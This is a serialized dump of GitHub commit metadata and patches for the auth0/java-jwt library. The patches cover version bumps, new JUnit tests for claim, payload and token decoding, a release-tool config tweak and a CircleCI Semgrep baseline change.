 u}(j  (a4fa509e8d84c8c98a8f27fc4e677e657a4a0fb1jh  	README.mdjj  modifiedjb  Kjc  Kjl  Kjm  Yhttps://github.com/auth0/java-jwt/blob/f951dedea930d4a9452e1ef9e0bab43d6a347bec/README.mdjo  Xhttps://github.com/auth0/java-jwt/raw/f951dedea930d4a9452e1ef9e0bab43d6a347bec/README.mdjq  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=f951dedea930d4a9452e1ef9e0bab43d6a347becjs  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.0.0'
+implementation 'com.auth0:java-jwt:4.1.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.0.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.0.0</version>
+    <version>4.1.0</version>
 </dependency>
 ```
 u}(j  (8163e72a589b421a1911f71a40a1946d61bc1044jh  lib/build.gradlejj  modifiedjb  Kjc  Kjl  Kjm  bhttps://github.com/auth0/java-jwt/blob/f951dedea930d4a9452e1ef9e0bab43d6a347bec/lib%2Fbuild.gradlejo  ahttps://github.com/auth0/java-jwt/raw/f951dedea930d4a9452e1ef9e0bab43d6a347bec/lib%2Fbuild.gradlejq  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=f951dedea930d4a9452e1ef9e0bab43d6a347becjs  XU  @@ -1,5 +1,5 @@
 buildscript {
-    version = "4.0.0"
+    version = "4.1.0"
 }
 
 plugins {
@@ -28,7 +28,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "4.0.0"
+    baselineCompareVersion "4.1.0"
 
     developers {
         auth0 {ueu(b5c8a377c4804080ff15bcb1a797bae2bd3eb02b}(sha(b5c8a377c4804080ff15bcb1a797bae2bd3eb02bnode_idEC_kwDOAQtL0doAKGI1YzhhMzc3YzQ4MDQwODBmZjE1YmNiMWE3OTdiYWUyYmQzZWIwMmIcommit}(author}(nameli.heemailli.he@thoughtworks.comdate2022-10-26T10:22:42Zu	committer}(j  li.hej  li.he@thoughtworks.comj  2022-10-26T10:22:42ZumessageEfeat: update shouldDecodeAStringTokenUsingInstance for base64 encodedtree}(j  (2f474040eb5fbb59d205747be2b59b6f5ee62049url^https://api.github.com/repos/auth0/java-jwt/git/trees/2f474040eb5fbb59d205747be2b59b6f5ee62049uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/b5c8a377c4804080ff15bcb1a797bae2bd3eb02b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/b5c8a377c4804080ff15bcb1a797bae2bd3eb02bhtml_urlQhttps://github.com/auth0/java-jwt/commit/b5c8a377c4804080ff15bcb1a797bae2bd3eb02bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b5c8a377c4804080ff15bcb1a797bae2bd3eb02b/commentsj  }(loginheli-twidJPj  U_kgDOBcxQpA
avatar_url4https://avatars.githubusercontent.com/u/97276068?v=4gravatar_idh3j  $https://api.github.com/users/heli-twj  https://github.com/heli-tw
followers_url.https://api.github.com/users/heli-tw/followers
following_url;https://api.github.com/users/heli-tw/following{/other_user}	gists_url4https://api.github.com/users/heli-tw/gists{/gist_id}starred_url;https://api.github.com/users/heli-tw/starred{/owner}{/repo}subscriptions_url2https://api.github.com/users/heli-tw/subscriptionsorganizations_url)https://api.github.com/users/heli-tw/orgs	repos_url*https://api.github.com/users/heli-tw/repos
events_url5https://api.github.com/users/heli-tw/events{/privacy}received_events_url4https://api.github.com/users/heli-tw/received_eventstypeUser
site_adminuj  }(j  heli-twj  JPj  U_kgDOBcxQpAj  4https://avatars.githubusercontent.com/u/97276068?v=4j  h3j  $https://api.github.com/users/heli-twj  https://github.com/heli-twj  .https://api.github.com/users/heli-tw/followersj  ;https://api.github.com/users/heli-tw/following{/other_user}j  4https://api.github.com/users/heli-tw/gists{/gist_id}j  ;https://api.github.com/users/heli-tw/starred{/owner}{/repo}j  2https://api.github.com/users/heli-tw/subscriptionsjË  )https://api.github.com/users/heli-tw/orgsjŋ  *https://api.github.com/users/heli-tw/reposjǋ  5https://api.github.com/users/heli-tw/events{/privacy}jɋ  4https://api.github.com/users/heli-tw/received_eventsjˋ  Userj͋  uparents]}(j  (1d7bc76b194e57010045b392356cfba77b77b3e2j  \https://api.github.com/repos/auth0/java-jwt/commits/1d7bc76b194e57010045b392356cfba77b77b3e2j  Qhttps://github.com/auth0/java-jwt/commit/1d7bc76b194e57010045b392356cfba77b77b3e2uastats}(totalK	additionsK	deletionsKufiles]}(j  (4b99c8933ca7f8034f1c2af8fdf03603f38238cefilename,lib/src/test/java/com/auth0/jwt/JWTTest.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/b5c8a377c4804080ff15bcb1a797bae2bd3eb02b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/b5c8a377c4804080ff15bcb1a797bae2bd3eb02b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=b5c8a377c4804080ff15bcb1a797bae2bd3eb02bpatchX  @@ -53,6 +53,12 @@ public void shouldDecodeAStringTokenUsingInstance() {
         DecodedJWT decodedJWT = jwt.decodeJwt(token);
 
         assertThat(decodedJWT, is(notNullValue()));
+
+        // base64 encoded
+        token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
+        decodedJWT = jwt.decodeJwt(token, false);
+
+        assertThat(decodedJWT, is(notNullValue()));
     }
 
     // getToken
@@ -73,7 +79,6 @@ public void shouldGetStringTokenUsingInstance() {
         assertThat(decodedJWT.getToken(), is(notNullValue()));
         assertThat(decodedJWT.getToken(), is("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ"));
     }
-
     // Verify
 
     @Testuau(0f670fb37f000cb5b989931602f160c6548732b3}(sha(0f670fb37f000cb5b989931602f160c6548732b3node_idEC_kwDOAQtL0doAKDBmNjcwZmIzN2YwMDBjYjViOTg5OTMxNjAyZjE2MGM2NTQ4NzMyYjMcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-07T16:04:49Zu	committer}(j  James Andersonj  jim.anderson@auth0.comj  2022-03-07T16:04:49Zumessage,add tests for default method implementationstree}(j  (1df98c747432e6e7a02ef50146b405ec3071f8a1url^https://api.github.com/repos/auth0/java-jwt/git/trees/1df98c747432e6e7a02ef50146b405ec3071f8a1uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/0f670fb37f000cb5b989931602f160c6548732b3
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/0f670fb37f000cb5b989931602f160c6548732b3html_urlQhttps://github.com/auth0/java-jwt/commit/0f670fb37f000cb5b989931602f160c6548732b3comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0f670fb37f000cb5b989931602f160c6548732b3/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj   https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj
  }(j%  
jimmyjamesj'  J7 j  MDQ6VXNlcjI3NjIyNQ==j)  2https://avatars.githubusercontent.com/u/276225?v=4j+  h3j  'https://api.github.com/users/jimmyjamesj   https://github.com/jimmyjamesj.  1https://api.github.com/users/jimmyjames/followersj0  >https://api.github.com/users/jimmyjames/following{/other_user}j2  7https://api.github.com/users/jimmyjames/gists{/gist_id}j4  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j6  5https://api.github.com/users/jimmyjames/subscriptionsj8  ,https://api.github.com/users/jimmyjames/orgsj:  -https://api.github.com/users/jimmyjames/reposj<  8https://api.github.com/users/jimmyjames/events{/privacy}j>  7https://api.github.com/users/jimmyjames/received_eventsj@  UserjB  uparents]}(j  (dc63ca7a4640bd1884f1a6379bcc6305f6080363j  \https://api.github.com/repos/auth0/java-jwt/commits/dc63ca7a4640bd1884f1a6379bcc6305f6080363j   Qhttps://github.com/auth0/java-jwt/commit/dc63ca7a4640bd1884f1a6379bcc6305f6080363uastats}(totalK	additionsK	deletionsK ufiles](}(j  (120f6a9d83947f615abafb83ebf2b3ff229c3454filename9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javastatusaddedj\  K]j]  K changesK]blob_urlhttps://github.com/auth0/java-jwt/blob/0f670fb37f000cb5b989931602f160c6548732b3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/0f670fb37f000cb5b989931602f160c6548732b3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=0f670fb37f000cb5b989931602f160c6548732b3patchX  @@ -0,0 +1,93 @@
+package com.auth0.jwt.interfaces;
+
+import com.auth0.jwt.exceptions.JWTDecodeException;
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class ClaimTest {
+
+    @Test
+    public void shouldGetInstantUsingDefault() {
+        Date date = new Date(1646667492000L);
+        Claim claim = new ClaimImplForTest(date);
+        assertThat(claim.asInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetNullInstantUsingDefault() {
+        Claim claim = new ClaimImplForTest(null);
+        assertThat(claim.asInstant(), is(nullValue()));
+    }
+
+    /**
+     * Implementation that does not override {@code asInstant()}
+     */
+    static class ClaimImplForTest implements Claim {
+        private final Date date;
+
+        ClaimImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public boolean isNull() {
+            return false;
+        }
+
+        @Override
+        public Boolean asBoolean() {
+            return null;
+        }
+
+        @Override
+        public Integer asInt() {
+            return null;
+        }
+
+        @Override
+        public Long asLong() {
+            return null;
+        }
+
+        @Override
+        public Double asDouble() {
+            return null;
+        }
+
+        @Override
+        public String asString() {
+            return null;
+        }
+
+        @Override
+        public Date asDate() {
+            return date;
+        }
+
+        @Override
+        public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public Map<String, Object> asMap() throws JWTDecodeException {
+            return null;
+        }
+
+        @Override
+        public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+            return null;
+        }
+    }
+}u}(j  (c5d2bd00ac72fefcc5cf1a101f3ebf561fc112c9jb  ;lib/src/test/java/com/auth0/jwt/interfaces/PayloadTest.javajd  addedj\  KSj]  K jf  KSjg  https://github.com/auth0/java-jwt/blob/0f670fb37f000cb5b989931602f160c6548732b3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javaji  https://github.com/auth0/java-jwt/raw/0f670fb37f000cb5b989931602f160c6548732b3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.javajk  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayloadTest.java?ref=0f670fb37f000cb5b989931602f160c6548732b3jm  X*  @@ -0,0 +1,83 @@
+package com.auth0.jwt.interfaces;
+
+import org.junit.Test;
+
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
+
+public class PayloadTest {
+
+    @Test
+    public void shouldGetInstantFromDefault() {
+        Date date = new Date(1646667492000L);
+        Payload payload = new PayloadImplForTest(date);
+        assertThat(payload.getExpiresAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getIssuedAtAsInstant(), is(date.toInstant()));
+        assertThat(payload.getNotBeforeAsInstant(), is(date.toInstant()));
+    }
+
+    @Test
+    public void shouldGetInstantFromDefaultAsNu() {
+        Payload payload = new PayloadImplForTest(null);
+        assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
+        assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
+        assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
+    }
+
+    static class PayloadImplForTest implements Payload {
+        private final Date date;
+
+        PayloadImplForTest(Date date) {
+            this.date = date;
+        }
+
+        @Override
+        public String getIssuer() {
+            return null;
+        }
+
+        @Override
+        public String getSubject() {
+            return null;
+        }
+
+        @Override
+        public List<String> getAudience() {
+            return null;
+        }
+
+        @Override
+        public Date getExpiresAt() {
+            return date;
+        }
+
+        @Override
+        public Date getNotBefore() {
+            return date;
+        }
+
+        @Override
+        public Date getIssuedAt() {
+            return date;
+        }
+
+        @Override
+        public String getId() {
+            return null;
+        }
+
+        @Override
+        public Claim getClaim(String name) {
+            return null;
+        }
+
+        @Override
+        public Map<String, Claim> getClaims() {
+            return null;
+        }
+    }
+}ueu(bae82da6f841bc4ead0f67ceeea751e81cb55602}(sha(bae82da6f841bc4ead0f67ceeea751e81cb55602node_idEC_kwDOAQtL0doAKGJhZTgyZGE2Zjg0MWJjNGVhZDBmNjdjZWVlYTc1MWU4MWNiNTU2MDIcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-19T15:02:26Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2022-10-19T15:02:26Zumessage9Update .shiprc to only update lib version in build.gradletree}(jy  (e9b1713ad7dc3b557fa7e98c9a6363fc0128337eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/e9b1713ad7dc3b557fa7e98c9a6363fc0128337euj  `https://api.github.com/repos/auth0/java-jwt/git/commits/bae82da6f841bc4ead0f67ceeea751e81cb55602
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/bae82da6f841bc4ead0f67ceeea751e81cb55602html_urlQhttps://github.com/auth0/java-jwt/commit/bae82da6f841bc4ead0f67ceeea751e81cb55602comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/bae82da6f841bc4ead0f67ceeea751e81cb55602/commentsj  }(login
jimmyjamesidJ7 j{  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j{  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jy  (02c9d168e2af4a20b13028c3083212eed72ac399j  \https://api.github.com/repos/auth0/java-jwt/commits/02c9d168e2af4a20b13028c3083212eed72ac399j  Qhttps://github.com/auth0/java-jwt/commit/02c9d168e2af4a20b13028c3083212eed72ac399uastats}(totalK	additionsK	deletionsKufiles]}(jy  (2bd0fdb33222abbec9292f30b3179b632d2fa338filename.shiprcstatusmodifiedjٌ  Kjڌ  KchangesKblob_urlWhttps://github.com/auth0/java-jwt/blob/bae82da6f841bc4ead0f67ceeea751e81cb55602/.shiprcraw_urlVhttps://github.com/auth0/java-jwt/raw/bae82da6f841bc4ead0f67ceeea751e81cb55602/.shiprccontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=bae82da6f841bc4ead0f67ceeea751e81cb55602patch@@ -1,7 +1,7 @@
 {
   "files": {
     "README.md": [],
-    "lib/build.gradle": []
+    "lib/build.gradle": ["version[[:blank:]]*=[[:blank:]]*{MAJOR}.{MINOR}.{PATCH}"]
   },
   "prefixVersion": false
 }
\ No newline at end of fileuau(54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479d}(sha(54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479dnode_idEC_kwDOAQtL0doAKDU0ZDk3YzY4YWQyZTRiNTdhYTIxZGVhNmJjM2VkNmNlYzBjMDQ3OWQcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-04-14T20:34:15Zu	committer}(j  GitHubj  noreply@github.comj  2022-04-14T20:34:15ZumessageUpdate config.ymltree}(j  (646452af84152ddb0359843e870ffb2712a11174url^https://api.github.com/repos/auth0/java-jwt/git/trees/646452af84152ddb0359843e870ffb2712a11174uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479d
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiWIVHCRBK7hj4Ov3rIwAAkO4IAFszAqWeaQtE+iDQ129QCrci
soVj5Jd7e4fSGvkk48KTo5Pn8MhfZsCah22geLY19zMY8egyrGc0eUu9/6eqV5gy
6yAyLT97+F11+USRtBJz94X3eijOgtzaPW3NKT8fl6OwQun7OjwUY19HR0dEuDW1
NQH71KkPMp8CA9AoSsHg5ibHC67bU5oN9XtuRccFu48s2lZRPXRb6v7Uyv4M6/bS
NbhxdGEm+XVPxfG9dZyokrEBgE1KsE02c+0QGp2kRuA8MO00N5ki1ZxrMvlzOcxD
pDgUCtrp58I8B7JbbBJ5nqJXNT4fLkwX6p2nrQS0Z5YXgOBwpxyG3HXZrHqz26c=
=v4Hw
-----END PGP SIGNATURE-----
payloadtree 646452af84152ddb0359843e870ffb2712a11174
parent 537f9863b8d3297d7aa7660094a690e5909afdf8
author Evan Sims <evan.sims@auth0.com> 1649968455 -0400
committer GitHub <noreply@github.com> 1649968455 -0400

Update config.ymluuj  \https://api.github.com/repos/auth0/java-jwt/commits/54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479dhtml_urlQhttps://github.com/auth0/java-jwt/commit/54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479d/commentsj  }(loginevansimsidMj  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j  %https://api.github.com/users/evansimsj  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj"  /https://api.github.com/users/web-flow/followersj$  <https://api.github.com/users/web-flow/following{/other_user}j&  5https://api.github.com/users/web-flow/gists{/gist_id}j(  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j*  3https://api.github.com/users/web-flow/subscriptionsj,  *https://api.github.com/users/web-flow/orgsj.  +https://api.github.com/users/web-flow/reposj0  6https://api.github.com/users/web-flow/events{/privacy}j2  5https://api.github.com/users/web-flow/received_eventsj4  Userj6  uparents]}(j  (537f9863b8d3297d7aa7660094a690e5909afdf8j  \https://api.github.com/repos/auth0/java-jwt/commits/537f9863b8d3297d7aa7660094a690e5909afdf8j  Qhttps://github.com/auth0/java-jwt/commit/537f9863b8d3297d7aa7660094a690e5909afdf8uastats}(totalK	additionsK	deletionsKufiles]}(j  (f47d6efa1efeae105d6fc56655187857273288d9filename.circleci/config.ymlstatusmodifiedjP  KjQ  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479d/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479d/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479dpatchX1  @@ -64,7 +64,7 @@ jobs:
       - run:
           name: Run vulnerabilities tests (Semgrep)
           command: |
-            semgrep-agent --baseline-ref v4-dev --publish-token $SEMGREP_TOKEN
+            semgrep-agent --baseline-ref master --publish-token $SEMGREP_TOKEN
 
 workflows:
   build-and-test:uau(6233867d542655650141675ed976ff411d92ae18}(sha(6233867d542655650141675ed976ff411d92ae18node_idEC_kwDOAQtL0doAKDYyMzM4NjdkNTQyNjU1NjUwMTQxNjc1ZWQ5NzZmZjQxMWQ5MmFlMTgcommit}(author}(name
Andreas Rigasemailandreas.rigas@outlook.comdate2023-03-19T19:38:30Zu	committer}(jm  
Andreas Rigasjo  andreas.rigas@outlook.comjq  2023-03-19T19:38:41Zumessage"update tests to include error casetree}(je  (db5eeec81ad72a962236ea6c4707db147712d038url^https://api.github.com/repos/auth0/java-jwt/git/trees/db5eeec81ad72a962236ea6c4707db147712d038uj}  `https://api.github.com/repos/auth0/java-jwt/git/commits/6233867d542655650141675ed976ff411d92ae18
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj}  \https://api.github.com/repos/auth0/java-jwt/commits/6233867d542655650141675ed976ff411d92ae18html_urlQhttps://github.com/auth0/java-jwt/commit/6233867d542655650141675ed976ff411d92ae18comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6233867d542655650141675ed976ff411d92ae18/commentsjk  }(loginandrewrigasidJjg  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3j}  (https://api.github.com/users/andrewrigasj  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminujs  }(j  andrewrigasj  Jjg  MDQ6VXNlcjQ4Mjk2NDcxj  4https://avatars.githubusercontent.com/u/48296471?v=4j  h3j}  (https://api.github.com/users/andrewrigasj  https://github.com/andrewrigasj  2https://api.github.com/users/andrewrigas/followersj  ?https://api.github.com/users/andrewrigas/following{/other_user}j  8https://api.github.com/users/andrewrigas/gists{/gist_id}j  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}j  6https://api.github.com/users/andrewrigas/subscriptionsj  -https://api.github.com/users/andrewrigas/orgsj  .https://api.github.com/users/andrewrigas/reposj  9https://api.github.com/users/andrewrigas/events{/privacy}j  8https://api.github.com/users/andrewrigas/received_eventsj  Userj  uparents]}(je  (f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9j}  \https://api.github.com/repos/auth0/java-jwt/commits/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9j  Qhttps://github.com/auth0/java-jwt/commit/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9uastats}(totalK	additionsK	deletionsKufiles]}(je  (e4ab8cb0ddb4fdaf7604021a709fec90974cbd99filename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedjō  Kjƍ  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/6233867d542655650141675ed976ff411d92ae18/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/6233867d542655650141675ed976ff411d92ae18/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=6233867d542655650141675ed976ff411d92ae18patchX  @@ -113,6 +113,18 @@ public void shouldSupportJsonValueHeaderWithNestedDataStructure() {
         assertThat(headerJson, JsonMatcher.hasEntry("listClaim", nestedListClaims));
     }
 
+    @Test
+    public void shouldFailWithIllegalArgumentExceptionForInvalidJsonForHeaderClaims() {
+        String invalidJson = "{ invalidJson }";
+
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("Invalid header JSON");
+
+        JWTCreator.init()
+                .withHeader(invalidJson)
+                .sign(Algorithm.HMAC256("secret"));
+    }
+
     @Test
     public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<>();
@@ -969,10 +981,22 @@ public void withPayloadShouldSupportJsonValueWithNestedDataStructure() {
         assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", nestedListClaims));
     }
 
+    @Test
+    public void shouldFailWithIllegalArgumentExceptionForInvalidJsonForPayloadClaims() {
+        String invalidJson = "{ invalidJson }";
+
+        exception.expect(IllegalArgumentException.class);
+        exception.expectMessage("Invalid payload JSON");
+
+        JWTCreator.init()
+                .withPayload(invalidJson)
+                .sign(Algorithm.HMAC256("secret"));
+    }
+
     @Test
     public void shouldCreatePayloadWithNullForMap() {
         String jwt = JWTCreator.init()
-                .withClaim("name", (Map<String,?>) null)
+                .withClaim("name", (Map<String, ?>) null)
                 .sign(Algorithm.HMAC256("secret"));
         assertThat(jwt, is(notNullValue()));
         assertTrue(JWT.decode(jwt).getClaim("name").isNull());uau<      (2e1eafa513016b5d144413aae07c008fd6e5509d}(sha(2e1eafa513016b5d144413aae07c008fd6e5509dnode_idEC_kwDOAQtL0doAKDJlMWVhZmE1MTMwMTZiNWQxNDQ0MTNhYWUwN2MwMDhmZDZlNTUwOWQcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-03-13T01:01:58Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-13T01:01:58ZumessageUpdate build.gradletree}(jڍ  (8fdc676992cb00029b7eebfcbdda2eecbbe04fcdurl^https://api.github.com/repos/auth0/java-jwt/git/trees/8fdc676992cb00029b7eebfcbdda2eecbbe04fcduj  `https://api.github.com/repos/auth0/java-jwt/git/commits/2e1eafa513016b5d144413aae07c008fd6e5509d
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiLUKGCRBK7hj4Ov3rIwAAY20IAHO/3/TXum/xMurBGwa7LXif
jKYNFVaG8Mocvc+42NkjS0jdzijVxnrNkfflzU+gL/TF4qUs7D+RkMU7MUdrISCe
w/KTnFuIlwrgB3XhWtGTx33GL67DGoNXRzaYyf30/PSsj8g3s0/09msryEcaimXi
PN62yKXWrcOV0jYsfYivmU/brwcICnLOm8ICdysPoWVjH64MTgb9bleYG4NECo0/
LWv2X8dYoxRgfCE6gmx/gnM0427pMkARSI9rSGaxTx2oBsHLMOKSmh2XANyjIBQy
fWJ3Pdx3r7wo1AC+E3lJaKeCzjLUOO3ZaVzJlG7IVFZ7hFiXsK8+ToZLb/ns9qQ=
=65VF
-----END PGP SIGNATURE-----
payloadtree 8fdc676992cb00029b7eebfcbdda2eecbbe04fcd
parent e4c01b958a2b2bf2cb90431fb802b6f8eff85c62
